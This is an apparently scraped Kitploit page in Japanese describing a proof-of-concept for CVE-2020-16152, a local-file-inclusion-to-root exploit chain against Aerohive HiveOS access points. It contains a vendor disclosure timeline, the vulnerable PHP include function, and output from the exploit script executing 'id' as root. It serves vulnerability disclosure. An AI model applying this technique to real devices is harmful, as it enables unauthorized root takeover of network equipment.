CVE-2020-16152 — CVE-2020-16152の概念実証エクスプロイト：PHP文字列切り詰めとログ汚染によるAerohive/Extreme Networks HiveOSのLFI-to-RCEで、脆弱なアクセスポイントでrootアクセスを可能にします。 | Kitploit

CVE-2020-16152

概要


製品ベンダー	Aerohive Networks / Extreme Networks
製品名	HiveOS / IQ Engine
製品バージョン	テスト済み 10.0r8a build-242466 およびそれ以前


2019/02/17	問題が Aerohive Networks に報告されました
2019/02/19	ベンダーが問題の確認を受け、ベンダーから回避策が提案されました（Webインターフェースの無効化）
2019/02/25	ベンダーによる問題の確認
2019/03/18	連絡？
2019/05/30	連絡？
2019/06/03	ベンダーが電話を提案、電話の詳細を返信。電話は受け取られませんでした
2019/08/12	連絡？ベンダーが問題は内部でエスカレーションされたと返信
2019/09/23	連絡？
2019/09/25	ベンダーは LFI 問題がまだ対処されていないと返信
2020/07/30	HiveOS 10.0r8a build-242466（2020年5月付け）で問題がまだ修正されていないことを発見。CVE を予約し、修正が積極的に進められていない限り、公開期限を2020/09/01と伝えた
2020/09/01	まだベンダーからの返答なし、詳細と PoC を公開

protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

CVE-2020-16152

人気

開示タイムライン:

詳細

PoC